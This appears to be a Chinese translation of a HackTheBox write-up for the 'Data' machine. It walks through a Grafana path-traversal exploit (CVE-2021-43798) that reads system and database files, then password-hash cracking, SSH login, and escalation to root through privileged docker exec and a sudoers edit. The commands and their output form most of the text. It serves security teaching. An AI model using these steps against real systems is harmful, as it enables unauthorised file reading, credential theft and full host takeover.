利用Grafana目录遍历漏洞与Docker权限提升攻破Data靶机

本文详细记录了如何通过Grafana的未授权目录遍历漏洞(CVE-2021-43798)读取SQLite数据库文件,破解用户密码哈希,并利用Docker exec的sudo权限实现容器逃逸和主机root权限获取的全过程。

HTB: Data

靶机信息

名称 Data
发布日期 2025年7月1日
退役日期 2025年7月1日
操作系统 Linux
难度 简单 [20分]
创建者 xct

侦察

初始扫描

nmap发现两个开放的TCP端口:SSH(22)和HTTP(3000):

1
2
3
4
5
6
7
oxdf@hacky$ nmap -p- -vvv -min-rate 10000 10.129.234.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-16 01:04 UTC
...[snip]...
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 62

基于OpenSSH版本,主机可能运行Ubuntu 18.04 bionic。nmap显示访问Web服务器需要额外一跳,lft确认了这一点:

1
2
3
4
5
6
oxdf@hacky$ sudo lft 10.129.234.47:3000
Tracing ......T
TTL LFT trace to 10.129.234.47:3000/tcp
 1  10.10.14.1 89.6ms
 2  10.129.234.47 89.8ms
 3  [target open] 10.129.234.47:3000 89.3ms

这表明Web服务器运行在容器中。

网站 - TCP 3000

站点

网站是一个Grafana实例:

Grafana登录页面

技术栈

登录页脚显示版本为v8.0.0。HTTP响应头没有透露太多信息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
HTTP/1.1 302 Found
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /login
Pragma: no-cache
Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Mon, 16 Jun 2025 01:22:28 GMT
Content-Length: 29

Grafana是TypeScript前端和Go后端,如其GitHub页面所示。

获取boris shell

提取Grafana数据库

CVE-2021-43798背景

搜索"grafana v8.0.0 cve"返回几个CVE引用,包括CVE-2021-43798:

CVE搜索结果

CVE-2021-43798被Nist描述为:

Grafana是一个用于监控和可观测性的开源平台。Grafana版本8.0.0-beta1到8.3.0(除修补版本外)存在目录遍历漏洞,允许访问本地文件。易受攻击的URL路径是:<grafana_host_url>/public/plugins/<plugin ID>/,其中是任何已安装插件的插件ID。

CVE-2021-43798 POC

测试读取/etc/passwd:

1
2
3
4
5
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...[snip]...
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

枚举Grafana

读取grafana.ini文件:

1
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini

默认数据库是SQLite:

1
2
3
4
#################################### Database ####################################
[database]
;type = sqlite3
;path = grafana.db

数据库文件名为grafana.db。Paths部分指定了位置:

1
2
3
#################################### Paths ####################################
[paths]
;data = /var/lib/grafana

下载DB文件:

1
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

恢复密码

数据库枚举

DB中有相当多的表:

1
2
3
4
5
6
oxdf@hacky$ sqlite3 grafana.db 
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
alert                       login_attempt             
...[snip]...

user表中有两个用户:

1
2
3
4
sqlite> select login,password,salt from user;
login|password|salt
admin|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl

格式化哈希

Grafana以非标准格式存储哈希。使用grafana2hashcat.py脚本格式化哈希:

1
2
3
oxdf@hacky$ uv run grafana2hashcat.py grafana.hash_salt 
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

破解密码

hashcat检测哈希格式并快速破解boris哈希:

1
2
3
$ hashcat grafana.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
...[snip]...
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

SSH

检查这些凭据是否在系统上有效。boris不是之前读取的passwd文件中的用户,但那是容器系统,SSH似乎连接到主主机(基于TTL分析)。

它们有效:

1
2
3
oxdf@hacky$ netexec ssh 10.129.234.47 -u boris -p beautiful1
SSH         10.129.234.47   22     10.129.234.47    [*] SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7
SSH         10.129.234.47   22     10.129.234.47    [+] boris:beautiful1 (Pwn3d!) Linux - Shell access!

连接到SSH作为boris:

1
2
3
oxdf@hacky$ sshpass -p beautiful1 ssh boris@10.129.234.47
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64)
boris@data:~$

获取user.txt:

1
2
boris@data:~$ cat user.txt
87629c0b************************

获取root shell

枚举

sudo

boris可以在没有密码的情况下以root身份运行docker exec:

1
2
3
boris@data:~$ sudo -l
User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

运行容器

通常使用docker ps查看运行容器。不幸的是,这需要访问Docker套接字,这意味着需要root权限:

1
2
boris@data:~$ docker ps
Got permission denied while trying to connect to the Docker daemon socket...

查看运行进程:

1
2
boris@data:~$ ps auxww | grep docker
...[snip]...

有一个运行容器的ID:e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81

设备

查看主机系统上挂载的硬件:

1
2
3
4
boris@data:~$ mount
...[snip]...
/dev/sda1 on / type ext4 (rw,relatime)
...[snip]...

最感兴趣的是/dev/sda1挂载为/。

docker exec

docker exec子命令接受容器和命令,并有几个选项:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
boris@data:~$ docker exec -h
Usage:  docker exec [OPTIONS] CONTAINER COMMAND [ARG...]
Options:
  -d, --detach               Detached mode: run command in the background
      --detach-keys string   Override the key sequence for detaching a container
  -e, --env list             Set environment variables
      --env-file list        Read in a file of environment variables
  -i, --interactive          Keep STDIN open even if not attached
      --privileged           Give extended privileges to the command
  -t, --tty                  Allocate a pseudo-TTY
  -u, --user string          Username or UID (format: <name|uid>[:<group|gid>])
  -w, --workdir string       Working directory inside the container

主机文件系统访问

有趣的选项是--privileged。这将允许结果命令从容器内访问原始硬件设备。使用它并获取shell:

1
2
boris@data:~$ sudo docker exec -it --privileged --user root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 bash
bash-5.1#

将/dev/sda1挂载到容器中的目录。使用/mnt:

1
2
3
4
5
6
bash-5.1# mount /dev/sda1 /mnt/
bash-5.1# ls /mnt/
bin             home            lib64           opt             sbin            tmp             vmlinuz.old
boot            initrd.img      lost+found      proc            snap            usr
dev             initrd.img.old  media           root            srv             var
etc             lib             mnt             run             sys             vmlinuz

主机文件系统现在在容器中可用!读取flag:

1
2
bash-5.1# cat /mnt/root/root.txt
d5a19473************************

Shell

有多种方法可以获得具有完整文件系统访问权限的root shell。打开/mnt/etc/sudoers并在底部添加一行:

1
2
3
bash-5.1# tail -2 /mnt/etc/sudoers
boris ALL = (root) NOPASSWD: /snap/bin/docker exec *
boris ALL = (root) NOPASSWD: /bin/bash

现在回到主机系统,boris可以以root身份运行bash:

1
2
3
4
boris@data:~$ sudo -l
User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *
    (root) NOPASSWD: /bin/bash

从那里获得shell是简单的:

1
2
3
boris@data:~$ sudo bash
root@data:~# id
uid=0(root) gid=0(root) groups=0(root)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计